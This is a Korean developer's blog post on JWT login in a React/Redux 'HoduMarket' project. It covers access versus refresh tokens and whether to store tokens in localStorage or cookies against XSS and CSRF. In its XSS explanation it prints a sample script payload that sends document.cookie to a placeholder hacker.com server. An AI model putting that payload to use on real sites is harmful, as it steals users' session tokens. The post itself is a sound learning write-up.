0. 로그인 기능 구현
- 로그인을 하면 서버에서 응답값으로 토큰을 보내준다.
- 리덕스 툴킷의 createAsyncThunk 를 이용해서 api 통신을 하고 서버에서 응답값으로 토큰을 받아오면, 토큰을 쿠키에 저장하고, 토큰값을 리덕스 툴킷으로 상태관리를 했다.
지난 팀프로젝트 때는 로컬스토리지에 토큰을 저장했는데 로컬스토리지에 토큰을 저장하는게 편의성(자동로그인)은 좋지만 보안상에 문제가 있는걸 알게되었다. 그래서 쿠키에 저장하기로 했다. 사실, 제공된 api 라서 referesh token 도 없고, access token 만 있기에 이 api 로는 쿠키에 저장해도 보안이슈가 있다. 하지만, 알고 쿠키에 저장하는것과 모르고 쿠키에 저장하는 것은 다를것이라 생각한다.
export const fetchLogin = createAsyncThunk(
"login/fetchLogin",
async (
{ username, password, login_type }: LoginData,
{ rejectWithValue }
) => {
try {
const data = { username, password, login_type };
const response = await axios.post(`${BASE_URL}/accounts/login/`, data);
// console.log(response.data);
if (response.data) {
setCookie("token", response.data.token);
setCookie("userType", response.data.user_type);
}
return {
token: response.data.token,
userType: response.data.user_type,
};
} catch (error: any) {
console.log(error.response.data);
return rejectWithValue(error.response.data.FAIL_Message);
}
}
);
1. 토큰 기반 로그인 인증
- 웹에서 사용자를 인증하는 보편적인 방법은 로그인을 통해 인증하는 것이다.
🔸인증과 인가
1) 인증 : 식별 가능한 정보로 서비스에 등록된 유저의 신원을 입증하는 과정
2) 인가 : 인증된 사용자에 대하여 자원의 접근 권한을 확인하는 것
인증 : 로그인 시스템에서는 사용자가 제공한 신원정보(ex: 아이디, 비밀번호) 를 확인해서 해당 사용자가 실제로 자신이 맞는지 확인한다.이를 통해, 로그인 시스템은 사용자의 신원을 검증하고, 인증된 사용자에게 특정 권한과 권한 범위를 부여한다.
인가 : 로그인 이후, 로그인 시스템은 사용자에 대한 권한을 확인하여 어떤 작업을 수행할 수 있는 지 결정한다.
예를 들어, 사용자가 특정 데이터에 접근하거나 특정 기능을 사용할 수 있는지 여부를 결정하는 것.
한줄 정리 : 당신이 누구인지를 확인하고, 당신이 무엇을 할 수 있는지를 결정한다.
ex) 네이버에 로그인으로 인증을 한 후 블로그에 글을 쓰거나, 댓글을 다는 등 내 계정으로 '만' 할 수 있는 활동을 시도 할 때, 나의 로그인 여부를 보고 허가해주는 것이다.
🔸Token 왜 필요한가?
HTTP는 단기기억상실과 같은 stateless 특성을 가지고 있기 때문에 한 번 로그인을 한다고 그 사실을 계속 기억하지 못한다. 따라서 원래대로라면 로그인을 했더라도 마이페이지 등 로그인이 필요한 사이트에 접속할 때마다 로그인을 진행해야 한다.
이러한 상황을 막기 위한 것이 token이다 !
먼저 로그인을 완료하면 인증 스티커와 같은 token을 전달받고, 마이페이지 등 로그인이 필요한 사이트를 접속할 때마다 서버에 token을 보내며 로그인을 한 유저인지, 권한이 있는지 알려줌으로써 다시 로그인을 할 필요가 없다.
🔸JWT(Json Web Token) 이란?
- JWT 는 웹 어플리케이션에서 사용되는 인증 방식 중 하나이다. 서버가 아닌 클라이언트에서 인증 정보를 보관하는 방법이다. (cf: 세션은 서버에 저장)
토큰은 로그인 이후 서버가 만들어서 사용자에게 넘겨주는 문자열이다.
🔸JWT 토큰 예시
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjo0NzgsImVtYWlsIjoiIiwidXNlcm5hbWUiOiJzaGluZXVuaHllNSIsImV4cCI6MTY4NTQyOTA4M30.tVc5JGZ7lF2yzYoGo7STVKB29qLqpsA9mzLEd5sMKhE
이 문자열은 사용자 정보가 암호화 되어있다. 로그인 통신을 성공적으로 완료하면 서버가 토큰 값을 전달해준다.
이 토큰을 이용하여 인증된 사용자 인지 서버가 판단한다.
이 토큰을 통해 내가 어떤 작업을 할 수 있는지?(게시글 등록, 게시글 삭제 등) 알수있다.
예를들어, 로그인 된 유저만 장바구니에 상품을 담을 수 있다고 했을 때 헤더의 Authorization에 토큰을 담아 전송하며
이것을 서버가 검증을 하면, 장바구니에 상품을 담을 수 있다.
🔸JWT 저장 위치를 알아보는 게 중요한 이유?
- JWT 는 개인정보나 다름없다. 보안 관련 대책 없이 JWT를 아무곳에나 저장한다는 것은 우리 고객의 정보를 가져가도 상관없다는 의미와 같다.
🔸토큰의 종류
토큰은 Access Token 과 refresh token 으로 나눌 수 있다.
Access Token 은 접근에 관여하는 토큰이고, Referesh Token 은 재발급에 관여하는 역할이다.
1️⃣ Access Token
- 인증된 사용자가 리소스에 접근할 때 사용되는 토큰이다. 서버에 저장되지 않고 토큰 자체로 검증을 하며, 사용자 권한을 인증한다. 따라서, Access Token 이 탈취되면 토큰이 만료되기 전 까지, 토큰을 획득한 사람은 누구나 권한 접근이 가능해진다.
- 보안적인 측면에서 유효기간이 짧다. (ex: 일반적으로 몇분에서 몇시간 사이) Access Token 이 노출되었을 때, 만약 해당 토큰이 오랜 시간동안 유효하다면 악의적인 공격자가 해당 토큰을 사용하여 불법적인 접근을 시도할 수 있다. 따라서 짧은 유효기간을 설정함으로써 토큰의 유효성을 제한하고, 보안을 강화할 수 있다.
- 하지만 단점도 있다. 보안을 위해서 유효기간을 짧게 해두었지만, 그만큼 사용자가 로그인을 자주해서 새롭게 Token 을 발급받아야 해서 불편하다.
무턱대고 유효기간을 늘리자니, 토큰을 탈취당했을 때 보안이 더 취약해진다.
그래서 나온 것이 referesh Token이다.
2️⃣ referesh Token
- Acceses Token을 갱신하는데 사용되는 토큰이다. Refresh Token은 일반적으로 Access Token보다 긴 유효 기간을 가지며, Access Token이 만료된 경우 새로운 Access Token을 발급받는 데 사용된다.
- 예를 들면, 처음에 로그인을 했을 때,
1) 서버는 로그인을 성공시키면서 클라이언트에게 Access Token과 Refresh Token을 동시에 발급한다.
2) 서버는 데이터베이스에 Refresh Token을 저장하고, 클라이언트는 Access Token과 Refresh Token을 쿠키, 세션 혹은 웹스토리지에 저장하고 요청이 있을때마다 이 둘을 헤더에 담아서 보낸다.
3) 이 Refresh Token은 긴 유효기간을 가지면서, Access Token이 만료됐을 때 새로 재발급해주는 열쇠가 된다. 따라서 만일 만료된 Access Token을 서버에 보내면, 서버는 같이 보내진 Refresh Token을 DB에 있는 것과 비교해서 일치하면 다시 Access Token을 재발급하는 간단한 원리이다. 새로운 Access Token 은 이전에 발급된 토큰과는 다른 문자열로 구성된다.
4) 그리고 사용자가 로그아웃을 하면 저장소에서 Refresh Token을 삭제하여 사용이 불가능하도록 하고 새로 로그인하면 서버에서 다시 재발급해서 DB에 저장한다.
ex) 사용 예를 간단히 들어보자. Refresh Token의 유효기간은 2주, Access Token의 유효기간은 1시간이라 가정 하겠다.
사용자는 API 요청을 하다가 1시간이 지나게 되면, 가지고 있는 Access Token은 만료 되게 된다. 그러면 Refresh Token의 유효기간 전까지는 Access Token을 새롭게 발급받을 수 있게 된다. 즉, Refresh Token 접근에 대한 권한을 주는 것이 아니라 Access Token 재발급에만 관여하는 것이다.
만일 Refresh Token의 유효기간(2주)이 만료됐다면, 사용자는 새로 로그인해야 한다. Refresh Token도 탈취될 가능성이 있기 때문에 이 역시 적절한 유효기간 설정이 필요하다 (보통 2주로 많이 잡는 편이다)
즉, Referesh Token 은 Access Token 의 탈취를 막고 보안을 강화하기 위해 도입된 것이다.
기존에는 엑세스 토큰만 사용하여 인증을 처리할 경우, 엑세스 토큰이 유출되었을 때 보안상의 위험이 발생할 수 있다. 공격자가 탈취한 엑세스 토큰을 사용하여 사용자의 계정에 불법적으로 접근하거나, 권한이 있는 리소스에 접근하는 등 악용이 가능하다. 리프레시 토큰은 엑세스 토큰의 유효기간이 만료된 경우에도 새로운 엑세스 토큰을 발급하는 역할을 수행한다. 이를 통해, 엑세스 토큰의 유효기간을 짧게 설정할 수 있으며, 만약 엑세스 토큰이 탈취 되더라도 유효기간이 짧아 공격자가 악용할 시간을 제한할 수 있다.
🔸Referesh Token 의 한계
1️⃣Access Token을 즉시 차단할 방법의 부재
- 아무리 Refresh Token이 Access Token의 유효기간을 짧게 만들어 줄 수 있다고 하더라도, 탈취된 Access Token이 유효한 그 짧은 시간 동안에 악용될 수 있다는 위험성이 존재한다.
2️⃣Refresh Token 그 자체를 탈취 당할 가능성
- 해커에게 Refresh Token 자체를 탈취 당하면 해커는 마음껏 Access Token을 발행할 수 있다. 서버 DB에서 Refresh Token을 저장해 직접 추적하는 방법을 사용하면 조금이나마 피해를 줄일 수 있겠지만, 피해가 확인되기 전까진 탈취 여부를 알 방법이 없다. RTR을 사용한다면 Refresh Token을 1회 사용하고 버리게 되어 더 안전하게 사용할 수 있지만, 사용하지 않은 Refresh Token을 탈취당하면 해커는 1회 한정으로 Access Token을 발급받을 수 있다. 즉, 이러나 저러나 Refresh Token을 탈취 당할 위험성이 존재한다. 따라서 클라이언트는 XSS, CSRF 공격으로부터 Refresh Token이 탈취되지 않도록 안전하게 보관해야한다.
하지만 내 프로젝트에 사용된 api 는 Access Token 으로만 이루어져있다.😅😂
백엔드 개발자와 협업할 수 없는 제공된 api 이기 때문이다...ㅎ
2. 그렇다면 토큰을 어디에 저장할까?
서버에 토큰을 응답 받으면 이 토큰을 저장해 두어야 한다. 클라이언트 단 어디에 저장할까?
🔸JWT 토큰 저장 위치
1) 주요 특징
로컬 스토리지 | 세션 스토리지 | 쿠키 |
만료 날짜 없이 데이터를 저장한다. 브라우저 탭을 닫거나 다시 열어도 데이터를 사용할 수 있다. 강제적으로 삭제나 초기화를 할 때만 사라진다. |
한 세션에 대한 데이터를 저장한다. 유지된 데이터는 사용자가 브라우저를 닫는 즉시 지워진다. | 해당 도메인에 날짜를 설정하고 그 때까지만 저장하고 싶을 때 |
2) 구체적으로 알아보자
1️⃣ 로컬스토리지
- 서버에 전송되지 않고 클라이언트 내에서만 유효하다(상대적 자원 소모가 적다). 따라서, 데이터를 클라이언트 측에서만 사용하고 유지한다.
2️⃣세션 스토리지
- 서버에 전송되지 않고 클라이언트 내에서만 유효하다(상대적 자원 소모가 적다). 따라서, 데이터를 클라이언트 측에서만 사용하고 유지한다.
3️⃣쿠키
클라이언트(브라우저)에 저장되는 키와 같이 들어있는 작은 파일이다.
클라이언트의 상태 정보를 로컬에 저장했다가 참조한다.
클라이언트에 300개까지 쿠키저장 가능, 하나의 도메인당 20개의 값만 가질 수 있으며, 하나의 쿠키값은 4KB까지 저장이 가능하다.
Response Header에 Set-Cookie 속성을 사용하면 클라이언트에 쿠키를 만들 수 있다.
쿠키는 사용자가 따로 요청하지 않아도 브라우저가 Request 시에 Request Header를 넣어서 자동으로 서버에 전송한다.
🔸토큰을 저장할 때 각 저장소 특징
로컬스토리지 | 쿠키 |
XSS(Cross-Site Scripting) 공격에 취약하다. |
쿠키는 HttpOnly를 사용하면 XSS 를 방어할 수 있다. |
1️⃣XSS 공격 : 사용자가 악의적인 스크립트를 실행하여, 사용자의 정보를 탈취하는 공격 즉, 사용자를 대상으로 한 공격이다.
구체적으로는 보안이 취약한 웹사이트에 악의적인 스크립트를 넣어놓고, 사용자가 이 스크립트를 읽게끔 유도하여 유저의 정보(ex: 토큰) 를 빼오는 공격기법이다. 보통 웹사이트 게시글에 악의적인 스크립트를 넣어 게시글에 들어가게끔 유도하게 하여 공격한다.
ex) a태그를 넣고 누르게끔 유도하면 js 코드가 실행된다.
<a href="javascript:alert('hello world')">클릭해보세요</a>
아래와 같이 공격 당할 수도 있는데, 사용자가 가지고 있는 쿠키 또는 localStorage 값을 해커의 서버로 전송할 수 있게된다.
<script>document.location='http://hacker.com/cookie?'+document.cookie</script>
2️⃣CSRF : 사용자 의지와는 상관없이 해커가 의도한 행위(수정,삭제,등록) 을 사용자 권한을 이용해 서버에 요청을 보내는 공격을 의미힌다.
🔸결론
- React 를 사용하기에 React 가 어느정도 XSS를 막아주기에 localStorage에 저장해도 괜찮다고 생각했다. 자동 로그인 기능도 있기 때문에... ( React에서는 JSX 가 사용자 입력값을 이스케이프 처리해서 HTML 태그를 문자열로 취급해서 XSS 어느정도 방어 가능) 하지만, 100% 확신할 수 없다.
- 쿠키 또한 자바스크립트로 접근이 가능하다. 하지만 HTTP ONLY 옵션을 설정하여 자바스크립트로 접근하는 것을 방지 할 수 있다. 하지만, 쿠키에 토큰을 담으면 CSRF 공격에 취약해진다. 여기에 SameSite 속성을 설정해서 동일한 사이트에서만 쿠키가 전송되도록 할 수 있다. 즉, SameSite를 'Strict'로 설정하면 외부 사이트로 쿠키가 전송되지 않는다.
이러한 이유로 Accesstoken 을 쿠키에 저장했다.
쿠키는 AccessToken 이 탈취되더라도 만료시간이 있기 때문에 공격에 제한이 있다.
더불어, HTTP only 와 SameSite 설정을 통해 XSS 와 CSRF 공격을 어느정도 막을 수 있다.
물론...제공된 백엔드 API 이기 때문에 HTTP only 와 SameSite 설정을 하지 못하는게 아쉽다 ㅠㅠ
출처
https://brunch.co.kr/@jinyoungchoi95/1
https://steadily-worked.tistory.com/468
https://hudi.blog/refresh-token/
'프로젝트 이모저모 > HoduMarket 프로젝트' 카테고리의 다른 글
오픈마켓 버그) 페이지네이션 다음 버튼 클릭하면 화면 렌더링 되지 않음 (0) | 2023.07.25 |
---|---|
오픈마켓 프로젝트) createAsyncThunk 에서 React-Query로 리팩토링 (0) | 2023.07.18 |
[오픈마켓 버그] 장바구니 무한렌더링 이슈 (0) | 2023.05.16 |
오픈마켓 프로젝트) 장바구니에서 상세 상품 정보 불러오기 (0) | 2023.05.15 |
오픈마켓 버그) 상품디테일 불러올 때 이전 상태 값 남아있음 (0) | 2023.04.26 |